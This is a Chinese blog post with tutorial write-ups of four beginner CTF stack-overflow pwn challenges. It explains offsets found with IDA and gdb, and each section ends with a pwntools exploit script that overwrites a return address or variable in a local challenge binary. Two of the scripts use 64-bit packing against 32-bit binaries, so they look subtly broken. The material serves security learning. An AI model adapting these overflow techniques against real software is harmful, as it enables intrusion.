pwn入门系列习题解析(一)

本系列为i春秋论坛上Tangerine@SAINTSEC大神所写的linux pwn入门系列相关习题的分析与解答。

原教程系列地址:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

1、csaw ctf 2016 quals-warmup

拿到题目,checksec分析保护情况

 

发现任何保护都未开启(当然系统自带的ASLR除外)。

file ./warmup命令查看文件格式

 

发现为64位动态链接的ELF程序,但是题目并没有提供libc

丢进64ida中分析

 

main函数中发现函数sub_40060D很可疑,进入函数观察

 

发现该函数是一个直接查看flag的程序,可以作为后门使用。

返回到main函数我们发现4write函数用于打印字符,sprintf函数用于将flag的值保存到s中,此函数存在栈溢出风险,但是此处并不溢出。在return函数出发现gets函数,此函数可以读取任意字节的数据,存在溢出风险,并可以溢出到返回值。

现在我们需要计算输入点到返回值之间的距离,有两个方法。第一,通过ida分析可以看到存在栈溢出的v5位于[rbp-40h]处,rbp又位于返回值上方,那么ret则位于40+8=0x48,即输入0x48个字节后+0x40060D即可跳转到后门函数读取flag的值。第二种方法通过gdbpeda插件,调试到输入点之前通过pattern create xxx生成xxx个字符(该字符特点为任意4个字符一组不重复)

 

随后,当到达输入点时即将上述字符输入,借着ni步过,直到ret

 

此处我们将栈顶的前4个字符复制(IAAe),然后通过pattern offset IAAe计算偏移为72,与上述相符。

因此,完整的exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./warmup')
 7 
 8 get_flag_addr = 0x40060d
 9 
10 payload = ''            
11 payload += 'A'*72
12 payload += p64(get_flag_addr)
13 
14 print io.recv()
15 io.sendline(payload)
16 print io.recv()

2、EasyCTF 2017-doubly_dangerous

拿到题目分析checksec安全措施,file查看文件类型

 

 

发现该函数开启了NX保护(堆栈不可执行),文件格式为32位动态链接的ELF程序。

运行一下看看

 

发现需要提供一串字符串,然后返回nope!那么我们尝试多输入一些字符

 

发现发生了栈溢出!

因此,将其扔到32ida中分析。

 

观察到有gets函数,必然存在溢出,可是在通过gets溢出时调试出错,无法返回到后门函数中,因此换个思路。观察到通过gets输入一串字符串必须使得v5==11.28125来得到flag,此处我使用ida的远程调试功能(关于ida远程调试请看原帖第0节环境搭建)

 

此处位于输入函数的下方,功能为进行比较,也就对应于上方的if语句。

 

通过比较可以发现实际比较的是ebp-0xC0x804876C处的值是否相等。

 

我们通过内存窗口按g跳转到该地址出观察得知值为0x41348000(注意存储方式)。

最后,我们需要测试偏移,由于不是测试到返回值的偏移,因此不能使用上述方法。此时我们使用gdb调试输入来探测偏移。

 

通过调试发现,我们的输入位于栈顶保存的地址内,为0xffffd4cc,而此时$ebp-0xc处于0xffffd50c,我们可以计算偏移得0xffffd50c - 0xffffd4cc = 0x40,因此我们只需要输入64个字符后接之前探测出的值0x41348000后即可得到flag

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./doubly_dangerous')
 7 
 8 payload = ''                    
 9 payload += 'A'*64
10 payload += p64(0x41348000)
11 
12 print io.recv()
13 io.sendline(payload)
14 print io.recv()
15 print io.recv()

3、sCTF 2016 q1-pwn1

拿到题目分析checksec安全措施,file查看文件类型

 

 

发现题目开启NX保护,并且为32位动态链接的ELF程序。

尝试运行

 

发现题目要求输入一串字符串,然后反馈给你你输入的字符串。

进入32ida分析

 

Main函数很简单,进入函数vuln()

 

观察变量和语句,发现可能存在溢出的地方为fgets,但是s在栈中距离ebp3C的距离,而fgets只能输入32个字符,远远无法到达ebp或者ret。继续往下看,发现replace函数,字面意思替换,又看到youI字符,猜想是否有可能将I替换成you字符,我们执行程序试一下

 

我们发现猜想正确。我们注意到函数最后有strcpy函数,他将v0即我们的输入后替换的字符串保存到s中,由于我们输入一个I实际上拷贝入s的是3个字符,3*32=96>0x3c,发生栈溢出。我们通过输入21I另外加一个任意字符(因为21I21you,即为63个字符,需要额外一个字符填充到64字符)之后加上get_flag函数的地址即覆盖函数返回值劫持成功。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./pwn1')
 7 
 8 get_flag_addr = 0x08048f0d
 9 
10 payload = ''                    
11 payload += 'I'*21+'a'
12 payload += p32(get_flag_addr)
13 io.sendline(payload)
14 print io.recv()

4、Tokyo West CTF 3rd 2017-just_do_it

拿到题目分析checksec安全措施,file查看文件类型

 

发现开启了NX保护,文件类型为32位动态链接的ELF文件。

尝试运行程序,发现会让你输入密码,随意输入一组字符串返回密码不正确,然后程序结束。

 

进入32ida分析

 

我们观察到程序流程大概是将flag读取并保存到一个全局变量中,在程序最后比较输入,正确则打印正确否则打印错误。我们观察s位于[ebp-0x20]处,输入的fgets最多输入32个字符,无法覆盖到ret。但是我们发现puts所打印的参数v6位于[ebp-Ch]相距输入点s只有20字符就可以覆盖到。又由于程序将flag读取到了全局变量中,因此可以通过输入覆盖v6flag从而打印出flag

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./just_do_it')
 7 
 8 flag_addr = 0x0804A080
 9 
10 payload = ''                    
11 payload += 'A'*20
12 payload += p64(flag_addr)
13 print io.recv()
14 io.sendline(payload)
15 print io.recv()

猜你喜欢

转载自www.cnblogs.com/xingzherufeng/p/9690159.html